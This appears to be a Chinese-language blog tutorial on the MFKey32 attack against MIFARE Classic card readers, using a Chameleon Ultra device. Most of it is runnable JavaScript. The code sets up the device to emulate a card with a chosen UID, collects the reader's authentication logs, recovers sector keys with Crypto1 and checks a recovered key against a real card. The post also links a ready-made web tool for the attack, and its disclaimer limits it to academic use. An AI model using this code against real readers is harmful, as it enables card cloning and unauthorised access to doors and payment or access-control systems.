本文章的內容僅限學術及研究用途,請勿進行任何違法行為,否則後果自負。
MFKey32 是針對讀卡機的攻擊手法,這種攻擊手法是透過模擬卡片,並讓讀卡機使用金鑰進行認證至少 2 次。認證過程中模擬卡會傳送名為卡片挑戰的隨機數,並記錄讀卡機所傳送的回應。由於卡片挑戰是已知的,所以可以計算 keystream 並還原金鑰。由於攻擊過程需要與讀卡機互動,所以變色龍的大小相比 Proxmark3 有很大的優勢,不容易被發現。
進行 MFKey32 攻擊的流程為:
用變色龍模擬卡片的程式碼如下:
// 在測試網頁的開發者工具中執行 https://taichunmin.idv.tw/chameleon-ultra.js/test.html
await (async ultra => {
// 載入需要的常數
const { Buffer, DeviceMode, FreqType, Mf1EmuWriteMode, Slot, TagType } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const slot = Slot.SLOT_1 // 使用卡槽 1
await ultra.cmdSlotChangeTagType(slot, TagType.MIFARE_1024) // 設定卡槽為 M1 卡片類型
await ultra.cmdSlotResetTagType(slot, TagType.MIFARE_1024) // 重設卡槽資料
await ultra.cmdSlotSetEnable(slot, FreqType.HF, true) // 啟用卡槽的高頻模擬
await ultra.cmdSlotSetActive(slot) // 切換到指定的卡槽
await ultra.cmdMf1SetAntiCollMode(false) // 設定卡槽使用額外設定的防碰撞資料
await ultra.cmdMf1SetDetectionEnable(true) // 啟用卡槽的偵測功能
await ultra.cmdMf1SetWriteMode(Mf1EmuWriteMode.NORMAL) // 設定卡槽的寫入模式
// 關閉 Gen1A 和 Gen2 魔術卡模擬
await ultra.cmdMf1SetGen1aMode(false)
await ultra.cmdMf1SetGen2Mode(false)
// 設定防碰撞資料
await ultra.cmdHf14aSetAntiCollData({
atqa: Buffer.from('0400', 'hex'),
sak: Buffer.from('08', 'hex'),
uid: Buffer.from('136d4a3d', 'hex'),
ats: Buffer.from('', 'hex'),
})
// 由於 M1 卡片的製造商區塊也有卡號的資料,所以模擬時我們也要寫入 Block 0
const block0 = Buffer.from('136d4a3d090804000000000000000000', 'hex')
await ultra.cmdMf1EmuWriteBlock(0, block0)
// 儲存設定並切換裝置模式
await ultra.cmdSlotSaveSettings()
await ultra.cmdChangeDeviceMode(DeviceMode.TAG)
})(vm.ultra)
執行結果如下:
模擬成功之後,我們就要讓讀卡機讀取變色龍至少 2 次。讀取之後,我們要把認證記錄讀出來並計算金鑰,程式碼如下:
// 在測試網頁的開發者工具中執行 https://taichunmin.idv.tw/chameleon-ultra.js/test.html
await (async ultra => {
const { Buffer } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/Crypto1/+esm')
const logCnt = await ultra.cmdMf1GetDetectionCount() // 取得讀卡機認證記錄的數量
console.log(`認證記錄數量 = ${logCnt}`)
if (logCnt < 2) throw new Error('請讓讀卡機讀取變色龍至少 2 次來蒐集資料')
const rawLogs = [] // 讀卡機認證記錄
while (rawLogs.length < logCnt) rawLogs.push(...await ultra.cmdMf1GetDetectionLogs(rawLogs.length))
console.log(`成功讀取到 ${rawLogs.length} 筆認證記錄`)
console.log(rawLogs) // 顯示讀卡機認證記錄
// 需要把認證記錄根據卡號、區段、及金鑰類型來分類
const bufToHex = buf => buf?.toString('hex').toUpperCase()
const blockToSector = block => block < 128 ? block >>> 2 : 24 + (block >>> 4)
const logGroups = _.values(_.groupBy(rawLogs, log => `${bufToHex(log.uid)}-${blockToSector(log.block)}-${'AB'[+log.isKeyB]}`))
console.log(logGroups) // 顯示分類後的讀卡機認證記錄
// 加總需計算的記錄組合
const logPairCnt = _.sumBy(logGroups, logs => logs.length * (logs.length - 1) / 2)
console.log(`需計算的記錄組合數量 = ${logPairCnt}`)
// 開始計算金鑰
let keys = []
for (const logs of logGroups) {
for (let i = 0; i < logs.length; i++) {
const log0 = logs[i]
for (let j = i + 1; j < logs.length; j++) {
const log1 = logs[j]
try {
// 將認證記錄兩兩組合來計算金鑰
const bufKey = Crypto1.mfkey32v2({
uid: log0.uid,
..._.mapKeys(_.pick(log0, ['nt', 'nr', 'ar']), (v, k) => `${k}0`),
..._.mapKeys(_.pick(log1, ['nt', 'nr', 'ar']), (v, k) => `${k}1`),
})
keys.push({
block: log0.block,
key: bufToHex(bufKey),
keyType: 'AB'[+log0.isKeyB],
sector: blockToSector(log0.block),
})
} catch (err) { console.log(err) }
}
}
}
keys = _.uniqWith(keys, _.isEqual)
console.log(`計算出 ${keys.length} 個金鑰`)
console.log(keys) // 顯示計算出來的金鑰
})(vm.ultra)
執行結果如下:
計算出讀卡機所使用的金鑰之後,我們就需要嘗試讀取卡片確認金鑰是否正確。請把卡片放到變色龍的正面,然後執行以下程式:
// 在測試網頁的開發者工具中執行 https://taichunmin.idv.tw/chameleon-ultra.js/test.html
await (async (ultra) => {
const { Buffer, Mf1KeyType } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const block = 3
const keyType = Mf1KeyType.KEY_A
const key = Buffer.from('FFFFFFFFFFFF', 'hex') // 在此以 FFFFFFFFFFFF 作為示範
const isAuth = await ultra.cmdMf1CheckBlockKey({ block, keyType, key })
console.log(isAuth ? '金鑰正確' : '金鑰錯誤')
})(vm.ultra)
執行結果如下:
均民有把這個攻擊手法寫成一個網頁,請用以 Chrome 為核心的瀏覽器 (如:Chrome、Microsoft Edge)或是 iPhone 的 Bluefy 來開啟以下的網址:
https://taichunmin.idv.tw/chameleon-ultra.js/mfkey32.html